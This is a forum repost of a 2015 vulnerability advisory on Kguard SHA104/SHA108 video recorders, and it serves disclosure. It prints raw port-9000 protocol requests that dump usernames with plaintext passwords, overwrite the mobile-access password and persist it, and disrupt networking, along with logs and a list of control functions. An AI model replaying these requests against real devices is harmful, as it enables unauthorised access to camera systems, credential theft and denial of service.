Aerosol Posted March 10, 2015 Report Posted March 10, 2015 MULTIPLE VULNERABILITIES WITH KGUARD DIGITAL VIDEO RECORDERS, February 10, 2015PRODUCT DESCRIPTIONThe Kguard SHA104 & SHA108 are 4ch/8ch H.264 DVRs designed for economical application. It's stylish & streamlines hardware design and excellent performance can be fast moving, competitive and an ideal solution for entry level & distribution channels. VENDOR REFERENCE: http://us.kworld-global.com/main/prod_in.aspx?mnuid=1306&modid=10&prodid=527VULNERABILITY DESCRIPTION1. Insufficient authentication and authorizationA deficiency in handling authentication and authorization has been found with Kguard 104/108 models. While password-based authentication is used by the ActiveX component to protect the login page, all the communication to the application server at port 9000 allows data to be communicated directly with insufficient or improper authorization. The request HI_SRDK_SYS_USERMNG_GetUserList for example will show all the usernames in the system together with their passwords. The below example is an actual unmodified request and response by the server. REMOTE HI_SRDK_SYS_USERMNG_GetUserList MCTP/1.0 CSeq:6 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:51 3Segment-Num:1 Segment-Seq:1 Data-Length:4VMCTP/1.0 200 OK Content-Type:text/HDP CSeq:6 Return-Code:0 Content-Length:2326 Segment-Num:2 Segment-Seq:1 Data-Length:2240 eric 111222 111222 admin 111222 111222 333444 333444 555666 555666 user4 user5 user6 Segment-Seq:2 Data-Length:4An interesting request is HI_SRDK_NET_MOBILE_GetOwspAttr. If configured, this allows mobile devices to access and monitor the cameras at port 18004. An actual unmodified request and response is shown below.REMOTE HI_SRDK_NET_MOBILE_GetOwspAttr MCTP/1.0 CSeq:15 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:15 Segment-Num:0VMCTP/1.0 200 OK Content-Type:text/HDP CSeq:15 Return-Code:0 Content-Length:161 Segment-Num:1 Segment-Seq:1 Data-Length:112 admin 111222The password to this user can be changed easily by executing the HI_SRDK_NET_MOBILE_SetOwspAttr request as shown below and can be saved in memory by executing HI_SRDK_DEV_SaveFlash:REMOTE HI_SRDK_NET_MOBILE_SetOwspAttr MCTP/1.0CSeq:1Accept:text/HDPContent-Type:text/HDPFunc-Version:0x10Content-Length:161Segment-Num:1Segment-Seq:1Data-Length:112admin.t..|A<.......n(...........111222444.eted!.p.c<.... ... ...TF..............................................The logs from the application server can confirm that the execution was successful:[MCTP] [HI_MCTP_MethodProc_Remote] SUCCESS!!!!! /home/yala/svn/D9108_MLANG_QSEE/dvr/modules/vscp/mctp/server/hi_vscp_mctp_mthdproc.c 606========================GetNetworkState:192.168.254.200Logs from the DVR also shows that an existing mobile device that tries to connect on port 18004 with previous credentials stored will fail: < StreamingServer> [ run] A client(116) connected[2010-09-11 12:30].< LangtaoCommProto> [ handlePacketBody] Input buffer total length: 60< LangtaoCommProto> [ handlePacketBody] tlv type: 41< LangtaoCommProto> [ handlePacketBody] tlv length: 56< LangtaoCommProto> [ handlePacketBody] Login request received.< LangtaoCommProto> [ handleLoginReq] User Name: admin Passwrod: 111222< LangtaoCommProto> [ handleLoginReq] User name and/or password validate fail.< StreamingServer> [ handleRequest2] Send response to client.< StreamingServer> [ handleRequest2] Session closed actively.< StreamingServer> [ run] Handle request fail.----------------------- SESSION(116) END -----------------------2. Lack of transport securityThe communication to the application server is done by an unprotected ActiveX component that is presented to the browser's initial session. The lack of transport encryption may allow us to exploit possible request from this component to the application server. This file is named as HiDvrOcx.cab. Decompiling the file will allow us to see the libraries being used:-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443576 Mar 11 2011 HiDvrOcx.ocx-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443 Mar 11 2011 HiDvrOcx.inf-rw-rw-r--. 1 fjpfajardo fjpfajardo 27136 Mar 11 2011 HiDvrOcxESN.dll-rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxITA.dll-rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxBRG.dll-rw-rw-r--. 1 fjpfajardo fjpfajardo 20992 Mar 11 2011 HiDvrOcxJPN.dll-rw-rw-r--. 1 fjpfajardo fjpfajardo 155648 Mar 11 2011 HiDvrNet.dll-rw-rw-r--. 1 fjpfajardo fjpfajardo 487525 Mar 11 2011 HiDvrMedia.dllInterestingly, checking the DLL file named HiDvrNet.dll will reveal other types of controls which can be presented to the application server as well:HI_SRDK_NET_MOBILE_GetOwspAttrHI_SRDK_NET_MOBILE_SetAttrHI_SRDK_NET_MOBILE_SetOwspAttrHI_SRDK_NET_Network_DHCP_Client_GetAttrHI_SRDK_NET_Network_DHCP_Client_SetAttrHI_SRDK_NET_Network_GetDNSListHI_SRDK_NET_Network_GetDefaultGatewayHI_SRDK_NET_Network_GetNetdevAttrHI_SRDK_NET_Network_GetNetdevNameHI_SRDK_NET_Network_SetDNSListHI_SRDK_NET_Network_SetDefaultGatewayHI_SRDK_NET_Network_SetNetdevAttrHI_SRDK_NET_SetDdnsAttrHI_SRDK_NET_SetEmailAttrHI_SRDK_NET_SetIppreviewVodAttrHI_SRDK_NET_SetMctpServerPortHI_SRDK_NET_SetPppoeAttrHI_SRDK_NET_SetWebServerPortHI_SRDK_Open_DeviceHI_SRDK_RECORDER_GetPlaybackAttrHI_SRDK_RECORDER_GetRecordAttrHI_SRDK_RECORDER_GetRecordScheduleHI_SRDK_RECORDER_SetPlaybackAttrHI_SRDK_RECORDER_SetRecordAttrHI_SRDK_RECORDER_SetRecordScheduleHI_SRDK_SYS_GetDaylightAttrHI_SRDK_SYS_GetSysMaintainAttrHI_SRDK_SYS_GetSystemAttrHI_SRDK_SYS_SetDaylightAttrHI_SRDK_SYS_SetSysMaintainAttrHI_SRDK_SYS_SetSystemAttrHI_SRDK_SYS_USERMNG_AddGroupHI_SRDK_SYS_USERMNG_AddUserHI_SRDK_SYS_USERMNG_DelGroupHI_SRDK_SYS_USERMNG_DelUserHI_SRDK_SYS_USERMNG_DisableHI_SRDK_SYS_USERMNG_EnableHI_SRDK_SYS_USERMNG_GetAuthorityListHI_SRDK_SYS_USERMNG_GetGroupListHI_SRDK_SYS_USERMNG_GetUserListHI_SRDK_SYS_USERMNG_ModifyGroupInfoHI_SRDK_SYS_USERMNG_ModifyUserInfo3. Denial of Service and Command InjectionInput are not sanitized and filtered in some of the fields which may lead to a potential passive Denial of Service and/or command injection. By altering some requests such as HI_SRDK_NET_SetPppoeAttr, HI_SRDK_NET_Network_DHCP_Client_SetAttr, HI_SRDK_NET_SetWebServerPort or HI_SRDK_NET_Network_SetDefaultGateway, a malicous user may be able to disrupt connectivity to the DVR.REMOTE HI_SRDK_NET_SetMctpServerPort MCTP/1.0CSeq:58Accept:text/HDPContent-Type:text/HDPFunc-Version:0x10Content-Length:491Segment-Num:1Segment-Seq:1Data-Length:2REMOTE HI_SRDK_DEV_SaveFlash MCTP/1.0CSeq:61Accept:text/HDPContent-Type:text/HDPFunc-Version:0x10Content-Length:15Segment-Num:0The application server that listens for incoming requests at port 9000 is run by a binary called raysharp_dvr which suggest that the hardware manufacturer is Zhuhai RaySharp Technology Co. While the purpose for this vulnerability analysis is mainly for Kguard related DVR's, I believe that other devices that use the same firmware by the manufacturer and rebranded in the market are also vulnerable. 576 root 20696 S ./raysharp_dvr 577 root 20696 S ./raysharp_dvr 578 root 20696 S ./raysharp_dvr 579 root 20696 S ./raysharp_dvr 580 root 20696 S ./raysharp_dvr 581 root 20696 S ./raysharp_dvr 582 root 20696 S ./raysharp_dvr Timeline:02/07/2015 - Discovery / PoC02/09/2015 - Reported to vendor (NR)Source Quote